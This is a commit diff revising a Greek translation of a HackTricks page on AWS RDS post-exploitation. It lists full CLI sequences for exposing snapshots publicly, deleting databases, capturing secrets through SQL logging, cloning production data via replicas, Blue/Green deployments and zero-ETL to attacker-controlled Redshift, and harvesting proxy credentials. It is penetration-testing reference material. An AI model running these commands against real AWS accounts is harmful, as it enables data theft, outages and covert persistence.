Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-26 17:29:34 +00:00
parent 3b54ae648b
commit 061668e514
18 changed files with 1237 additions and 415 deletions
@@ -1,10 +1,10 @@
# AWS - RDS Μετά την εκμετάλλευση
# AWS - RDS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## RDS
Για περισσότερες πληροφορίες, δείτε:
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Εάν ο attacker διαθέτει επαρκή δικαιώματα, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
Εάν ο attacker έχει αρκετά permissions, θα μπορούσε να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Ένας attacker που έχει rds:StopDBCluster ή rds:StopDBInstance μπορεί να προκαλέσει άμεση διακοπή ενός RDS instance ή ολόκληρου cluster, προκαλώντας μη διαθεσιμότητα της βάσης δεδομένων, κομμένες συνδέσεις και διακοπή διεργασιών που εξαρτώνται από τη βάση δεδομένων.
Ένας attacker με rds:StopDBCluster ή rds:StopDBInstance μπορεί να προκαλέσει τον άμεσο τερματισμό ενός RDS instance ή ολόκληρου cluster, προκαλώντας μη διαθεσιμότητα της βάσης δεδομένων, σπασμένες συνδέσεις και διακοπή διεργασιών που εξαρτώνται από τη βάση δεδομένων.
Για να σταματήσετε μία μόνο DB instance (παράδειγμα):
Για να σταματήσετε ένα μεμονωμένο DB instance (παράδειγμα):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Για να σταματήσετε ολόκληρο DB cluster (παράδειγμα):
Για να σταματήσετε ολόκληρο ένα DB cluster (παράδειγμα):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
Ένας επιτιθέμενος στον οποίο έχει χορηγηθεί το δικαίωμα rds:Modify* μπορεί να αλλάξει κρίσιμες ρυθμίσεις και βοηθητικούς πόρους (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) χωρίς να αγγίξει απευθείας το instance ή το cluster. Αλλαγές όπως η ρύθμιση παραμέτρων σύνδεσης/χρονικού ορίου, η αλλαγή ενός proxy endpoint, η τροποποίηση των certificates που εμπιστεύονται, η μεταβολή της logical capacity ή η επαναδιαμόρφωση ενός subnet group μπορούν να αποδυναμώσουν την ασφάλεια (να ανοίξουν νέες οδούς πρόσβασης), να διακόψουν το routing και το load-balancing, να ακυρώσουν πολιτικές replication/backup και γενικά να υποβαθμίσουν τη διαθεσιμότητα ή την ανακτήσιμότητα. Αυτές οι τροποποιήσεις μπορούν επίσης να διευκολύνουν έμμεση εξαγωγή δεδομένων ή να δυσχεράνουν την ομαλή ανάκτηση της βάσης δεδομένων μετά από ένα περιστατικό.
Move or change the subnets assigned to an RDS subnet group:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Τροποποιήστε παραμέτρους χαμηλού επιπέδου του engine σε ένα cluster parameter group:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
Ένας επιτιθέμενος με δικαιώματα rds:Restore* μπορεί να επαναφέρει ολόκληρες βάσεις δεδομένων από snapshots, automated backups, point-in-time recovery (PITR), ή αρχεία αποθηκευμένα σε S3, δημιουργώντας νέες instances ή clusters γεμάτες με τα δεδομένα από το επιλεγμένο σημείο. Αυτές οι ενέργειες δεν αντικαθιστούν τους αρχικούς πόρους — δημιουργούν νέα αντικείμενα που περιέχουν τα ιστορικά δεδομένα — κάτι που επιτρέπει σε έναν επιτιθέμενο να αποκτήσει πλήρη, λειτουργικά αντίγραφα της βάσης δεδομένων (από προηγούμενα σημεία στο χρόνο ή από εξωτερικά αρχεία S3) και να τα χρησιμοποιήσει για exfiltrate δεδομένα, να χειριστεί ιστορικές εγγραφές ή να ανακατασκευάσει προηγούμενες καταστάσεις.
Επαναφορά ενός DB instance σε συγκεκριμένο σημείο στο χρόνο:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
Ένας επιτιθέμενος στον οποίο έχει χορηγηθεί το rds:Delete* μπορεί να αφαιρέσει πόρους RDS, διαγράφοντας DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups και σχετικά artifacts, προκαλώντας άμεση διακοπή υπηρεσίας, απώλεια δεδομένων, καταστροφή recovery points και απώλεια δικανικών στοιχείων.
Ένας επιτιθέμενος στον οποίο έχει χορηγηθεί rds:Delete* μπορεί να αφαιρέσει πόρους του RDS, διαγράφοντας DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups και related artifacts, προκαλώντας άμεση διακοπή υπηρεσίας, απώλεια δεδομένων, καταστροφή recovery points και απώλεια εγκληματολογικών αποδεικτικών στοιχείων.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στο δικό του λογαριασμό μια DB από εκείνο το snapshot.
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στο δικό του λογαριασμό μια DB από αυτό το snapshot.
Αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, θα μπορούσε παρ' όλα αυτά να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**.
Αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί ωστόσο να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,37 +117,37 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **download portions of an RDS instance's log files**. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε δυνητικά να χρησιμοποιήσει αυτές τις πληροφορίες για να αυξήσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **κατεβάσει τμήματα των αρχείων καταγραφής μιας RDS instance**. Αν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος ενδέχεται να χρησιμοποιήσει αυτές τις πληροφορίες για να αυξήσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας leaked credentials.
**Potential Impact**: Πρόσβαση σε ευαίσθητες πληροφορίες ή εκτέλεση μη εξουσιοδοτημένων ενεργειών χρησιμοποιώντας leaked credentials.
### `rds:DeleteDBInstance`
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **DoS υπάρχουσες RDS instances**.
Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **DoS υπάρχουσες RDS instances**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Πιθανός αντίκτυπος**: Διαγραφή των υπαρχόντων RDS instances και ενδεχόμενη απώλεια δεδομένων.
**Potential impact**: Διαγραφή υπαρχόντων RDS instances και ενδεχόμενη απώλεια δεδομένων.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Δοκιμή
> TODO: Test
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα snapshot ενός RDS instance σε ένα S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο του προορισμού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα που περιέχονται στο εξαγόμενο snapshot.
Ένας attacker με αυτή την permission μπορεί να **export an RDS instance snapshot to an S3 bucket**. Εάν ο attacker έχει έλεγχο στο destination S3 bucket, μπορεί εν δυνάμει να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα μέσα στο exported snapshot.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Πιθανός αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαχθέν snapshot.
**Potential impact**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο snapshot.
### Αντιγραφή αυτοματοποιημένων αντιγράφων ασφαλείας μεταξύ περιοχών για κρυφή επαναφορά (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Κακοχρησιμοποιήστε την αντιγραφή αυτοματοποιημένων αντιγράφων ασφαλείας μεταξύ περιοχών για να αντιγράψετε αθόρυβα τα automated backups ενός instance RDS σε άλλη AWS Region και να τα επαναφέρετε εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να κάνει τη βάση δεδομένων που επαναφέρθηκε δημόσια προσβάσιμη και να επαναφέρει τον κύριο κωδικό πρόσβασης για να αποκτήσει πρόσβαση στα δεδομένα εκτός δικτύου σε μια Region που οι αμυνόμενοι ίσως δεν παρακολουθούν.
Abuse cross-Region automated backups replication to quietly duplicate an RDS instance's automated backups into another AWS Region and restore there. The attacker can then make the restored DB publicly accessible and reset the master password to access data out-of-band in a Region defenders might not monitor.
Απαιτούμενα δικαιώματα (ελάχιστα):
Απαιτούμενα permissions (ελάχιστα):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
@@ -127,10 +155,10 @@ aws rds start-export-task --export-task-identifier attacker-export-task --source
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Επιπτώσεις: Διατήρηση παρουσίας και εξαγωγή δεδομένων μέσω επαναφοράς αντιγράφου παραγωγικών δεδομένων σε άλλη Region και δημόσιας έκθεσής του με διαπιστευτήρια υπό έλεγχο του επιτιθέμενου.
Impact: Persistence και data exfiltration με επαναφορά αντιγράφου production data σε άλλη Region και δημόσια έκθεσή του με attacker-controlled credentials.
<details>
<summary>CLI από άκρο σε άκρο (αντικαταστήστε τα placeholders)</summary>
<summary>End-to-end CLI (replace placeholders)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -199,15 +227,15 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Ενεργοποίηση πλήρους SQL καταγραφής μέσω DB parameter groups και exfiltrate μέσω RDS log APIs
### Ενεργοποίηση πλήρους SQL logging μέσω DB parameter groups και exfiltrate μέσω RDS log APIs
Καταχραστείτε `rds:ModifyDBParameterGroup` με RDS log download APIs για να καταγράψετε όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται διαπιστευτήρια της DB engine). Ενεργοποιήστε την engine SQL καταγραφή και κατεβάστε τα αρχεία log μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για τη συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
Κακοποιήστε `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψετε όλα τα SQL statements που εκτελούνται από εφαρμογές (no DB engine credentials needed). Ενεργοποιήστε το engine SQL logging και αντλήστε τα file logs μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
Απαιτούμενα δικαιώματα (ελάχιστα):
Απαιτούμενα permissions (ελάχιστα):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (μόνο για την προσάρτηση ενός custom parameter group αν το instance χρησιμοποιεί το default)
- `rds:RebootDBInstance` (για παραμέτρους που απαιτούν reboot, π.χ. PostgreSQL)
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Βήματα
1) Recon target and current parameter group
@@ -216,9 +244,9 @@ aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Βεβαιωθείτε ότι έχει επισυναφθεί ένα προσαρμοσμένο DB parameter group (δεν μπορείτε να επεξεργαστείτε το προεπιλεγμένο)
- Αν το instance ήδη χρησιμοποιεί προσαρμοσμένο group, επαναχρησιμοποιήστε το όνομά του στο επόμενο βήμα.
- Διαφορετικά, δημιουργήστε και επισυνάψτε ένα που να ταιριάζει στην engine family:
2) Βεβαιωθείτε ότι έχει επισυναφθεί μια προσαρμοσμένη DB parameter group (δεν μπορείτε να επεξεργαστείτε το default)
- Εάν το instance ήδη χρησιμοποιεί προσαρμοσμένη ομάδα, επαναχρησιμοποιήστε το όνομά της στο επόμενο βήμα.
- Διαφορετικά, δημιουργήστε και επισυνάψτε μία που ταιριάζει στην engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +260,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Ενεργοποιήστε λεπτομερή καταγραφή SQL
- MySQL engines (άμεσα / χωρίς επανεκκίνηση):
3) Ενεργοποιήστε το verbose SQL logging
- MySQL engines (immediate / no reboot):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,7 +284,7 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Αφήστε το φορτίο εργασίας να εκτελεστεί (ή δημιουργήστε ερωτήματα). Οι δηλώσεις θα γραφτούν στα engine file logs
4) Αφήστε το workload να τρέξει (ή δημιουργήστε queries). Οι δηλώσεις θα καταγραφούν στα engine file logs
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
@@ -275,14 +303,14 @@ aws rds download-db-log-file-portion \
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Παράδειγμα αποδεικτικών στοιχείων (λογοκριμένα):
Παράδειγμα αποδεικτικών στοιχείων (λογοκριμένο):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Καθαρισμός
- Επαναφέρετε τις παραμέτρους στις προεπιλογές και επανεκκινήστε εάν απαιτείται:
- Επαναφέρετε τις παραμέτρους στις προεπιλεγμένες τιμές και επανεκκινήστε αν απαιτείται:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,11 +325,11 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των εντολών SQL της εφαρμογής μέσω AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των SQL εντολών της εφαρμογής μέσω AWS APIs (no DB creds), πιθανώς leaking secrets, JWTs, και PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Καταχράσου RDS read replicas για να αποκτήσεις out-of-band read access χωρίς να αγγίξεις τα credentials της primary instance. Ένας attacker μπορεί να δημιουργήσει ένα read replica από ένα production instance, να επαναφέρει το master password του replica (this does not change the primary), και προαιρετικά να εκθέσει δημόσια το replica για να exfiltrate data.
Κακοποίηση των RDS read replicas για απόκτηση out-of-band read access χωρίς να αγγίξει κανείς τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από ένα production instance, να επαναφέρει το replica's master password (αυτό δεν αλλάζει το primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα.
Permissions needed (minimum):
- `rds:DescribeDBInstances`
@@ -309,7 +337,7 @@ Permissions needed (minimum):
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Impact: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.
Επίπτωση: Read-only access σε production data μέσω ενός replica με attacker-controlled credentials· μικρότερη πιθανότητα detection καθώς το primary παραμένει ανέγγιχτο και η replication συνεχίζεται.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -341,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Παράδειγμα αποδεικτικών στοιχείων (MySQL):
- Replica DB status: `available`, read replication: `replicating`
- Επιτυχής σύνδεση με νέο κωδικό και `@@read_only=1` που επιβεβαιώνει πρόσβαση μόνο για ανάγνωση στο replica.
- Κατάσταση Replica DB: `available`, read replication: `replicating`
- Επιτυχής σύνδεση με νέο κωδικό πρόσβασης και `@@read_only=1` που επιβεβαιώνει πρόσβαση στη replica μόνο για ανάγνωση.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Καταχρήστε το RDS Blue/Green για να κλωνοποιήσετε μια παραγωγική DB σε ένα συνεχώς αναπαραγόμενο, μόνο-ανάγνωσης green περιβάλλον. Στη συνέχεια επαναφέρετε τα διαπιστευτήρια του green master για να αποκτήσετε πρόσβαση στα δεδομένα χωρίς να πειράξετε την blue (prod) instance. Αυτό είναι πιο διακριτικό από το snapshot sharing και συχνά παρακάμπτει μηχανισμούς monitoring που εστιάζουν μόνο στην πηγή.
Καταχραστείτε το RDS Blue/Green για να κλωνοποιήσετε μια παραγωγική DB σε ένα συνεχώς αναπαραγόμενο, μόνο για ανάγνωση green περιβάλλον. Στη συνέχεια επαναφέρετε τα διαπιστευτήρια του green master για να αποκτήσετε πρόσβαση στα δεδομένα χωρίς να αγγίξετε την blue (prod) instance. Αυτό είναι πιο διακριτικό από το snapshot sharing και συχνά παρακάμπτει το monitoring που επικεντρώνεται μόνο στην πηγή.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,19 +421,19 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Επίπτωση: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα ενός κλώνου παραγωγής σχεδόν σε πραγματικό χρόνο χωρίς τροποποίηση του παραγωγικού instance. Χρήσιμο για διακριτική εξαγωγή δεδομένων και ανάλυση εκτός σύνδεσης.
Επίπτωση: Μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα σε έναν σχεδόν σε πραγματικό χρόνο κλώνο της παραγωγής χωρίς να τροποποιείται το παραγωγικό instance. Χρήσιμο για διακριτική εξαγωγή δεδομένων και ανάλυση εκτός σύνδεσης.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Abuse Aurora to enable the RDS Data API HTTP endpoint on a target cluster, reset the master password to a value you control, and run SQL over HTTPS (no VPC network path required). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
Καταχραστείτε το Aurora για να ενεργοποιήσετε το RDS Data API HTTP endpoint σε έναν στοχευόμενο cluster, να επαναφέρετε το master password σε μια τιμή που ελέγχετε, και να εκτελέσετε SQL μέσω HTTPS (δεν απαιτείται διαδρομή δικτύου VPC). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ., Aurora MySQL 8.0 provisioned; ορισμένες εκδόσεις Aurora PostgreSQL/MySQL).
Δικαιώματα (ελάχιστα):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Επίπτωση: Παράκαμψη της τμηματοποίησης δικτύου και exfiltrate δεδομένων μέσω AWS APIs χωρίς άμεση VPC συνδεσιμότητα προς το DB.
Επίπτωση: Παρακάμψτε τον διαχωρισμό δικτύου και εξάγετε δεδομένα μέσω των AWS APIs χωρίς άμεση VPC σύνδεση στη βάση δεδομένων.
<details>
<summary>End-to-end CLI (Aurora MySQL example)</summary>
@@ -461,21 +489,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Σημειώσεις:
- Εάν SQL πολλαπλών δηλώσεων απορριφθεί από rds-data, εκτελέστε χωριστές κλήσεις execute-statement.
- Αν το multi-statement SQL απορρίπτεται από rds-data, εκτελέστε ξεχωριστές κλήσεις execute-statement.
- Για engines όπου το modify-db-cluster --enable-http-endpoint δεν έχει αποτέλεσμα, χρησιμοποιήστε rds enable-http-endpoint --resource-arn.
- Βεβαιωθείτε ότι ο engine/version υποστηρίζει πραγματικά το Data API· αλλιώς HttpEndpointEnabled θα παραμείνει False.
- Βεβαιωθείτε ότι ο engine/version υποστηρίζει πραγματικά το Data API· διαφορετικά το HttpEndpointEnabled θα παραμείνει False.
### Συλλογή διαπιστευτηρίων DB μέσω RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Καταχραστείτε τη διαμόρφωση του RDS Proxy για να εντοπίσετε το Secret του Secrets Manager που χρησιμοποιείται για την πιστοποίηση στο backend, και στη συνέχεια διαβάστε το secret για να αποκτήσετε τα διαπιστευτήρια της βάσης δεδομένων. Πολλά περιβάλλοντα χορηγούν ευρεία δικαιώματα `secretsmanager:GetSecretValue`, καθιστώντας αυτό έναν χαμηλής τριβής pivot προς τα διαπιστευτήρια DB. Εάν το secret χρησιμοποιεί CMK, λανθασμένα περιορισμένα δικαιώματα KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`.
Καταχραστείτε την RDS Proxy configuration για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για backend authentication, και στη συνέχεια διαβάστε το secret για να αποκτήσετε database credentials. Σε πολλά περιβάλλοντα δίνονται ευρείες άδειες `secretsmanager:GetSecretValue`, κάνοντας αυτό ένα low-friction pivot προς DB creds. Αν το secret χρησιμοποιεί CMK, λάθος scope σε KMS permissions μπορεί επίσης να επιτρέψει `kms:Decrypt`.
Απαιτούμενα δικαιώματα (ελάχιστα):
Permissions needed (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Προαιρετικό όταν το secret χρησιμοποιεί CMK: `kms:Decrypt` on that key
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Επίπτωση: Άμεση αποκάλυψη του ονόματος χρήστη/κωδικού DB που έχει ρυθμιστεί στον proxy· επιτρέπει άμεση πρόσβαση στη βάση δεδομένων ή περαιτέρω πλευρική κίνηση.
Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
Βήματα
```bash
@@ -516,17 +544,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Κρυφή συνεχιζόμενη exfiltration μέσω Aurora zeroETL προς Amazon Redshift (rds:CreateIntegration)
### Stealthy continuous exfiltration μέσω Aurora zeroETL προς Amazon Redshift (rds:CreateIntegration)
Καταχρήση της ενσωμάτωσης Aurora PostgreSQL zeroETL για συνεχή αναπαραγωγή των παραγωγικών δεδομένων σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή Redshift resource policy που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας attacker μπορεί να δημιουργήσει ένα σχεδόν σε πραγματικό χρόνο αντίγραφο δεδομένων χωρίς DB creds, snapshots ή network exposure.
Κατάχρηση της Aurora PostgreSQL zeroETL integration για συνεχόμενη αντιγραφή των παραγωγικών δεδομένων σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας attacker μπορεί να εγκαταστήσει ένα nearrealtime αντίγραφο δεδομένων χωρίς DB creds, snapshots ή network exposure.
Απαιτούμενα δικαιώματα (ελάχιστα):
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Δοκιμάστηκε σε: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Δημιουργία Redshift Serverless namespace + workgroup</summary>
@@ -545,7 +573,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
</details>
<details>
<summary>2) Ρύθμιση πολιτικής πόρων του Redshift ώστε να επιτρέπεται η πηγή Aurora</summary>
<summary>2) Διαμόρφωση της πολιτικής πόρων του Redshift ώστε να επιτραπεί η πηγή Aurora</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και logical replication)</summary>
<summary>3) Δημιούργησε Aurora PostgreSQL cluster (ενεργοποίηση Data API και logical replication)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Υλοποίηση και εκτέλεση ερωτημάτων σε αναπαραγόμενα δεδομένα στο Redshift</summary>
<summary>5) Υλοποίηση και ερώτηση αντιγραμμένων δεδομένων στο Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -634,10 +662,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
Αποδεικτικά στοιχεία που παρατηρήθηκαν στη δοκιμή:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- Στο SVV_INTEGRATION εμφανίστηκε το integration_id 377a462b-c42c-4f08-937b-77fe75d98211 και η κατάσταση PendingDbConnectState πριν από τη δημιουργία της βάσης δεδομένων.
- Μετά το CREATE DATABASE FROM INTEGRATION, η λίστα πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· η επιλογή από ztl.customers επέστρεψε 2 γραμμές (Alice, Bob).
- SVV_INTEGRATION εμφάνισε integration_id 377a462b-c42c-4f08-937b-77fe75d98211 και state PendingDbConnectState πριν από τη δημιουργία της DB.
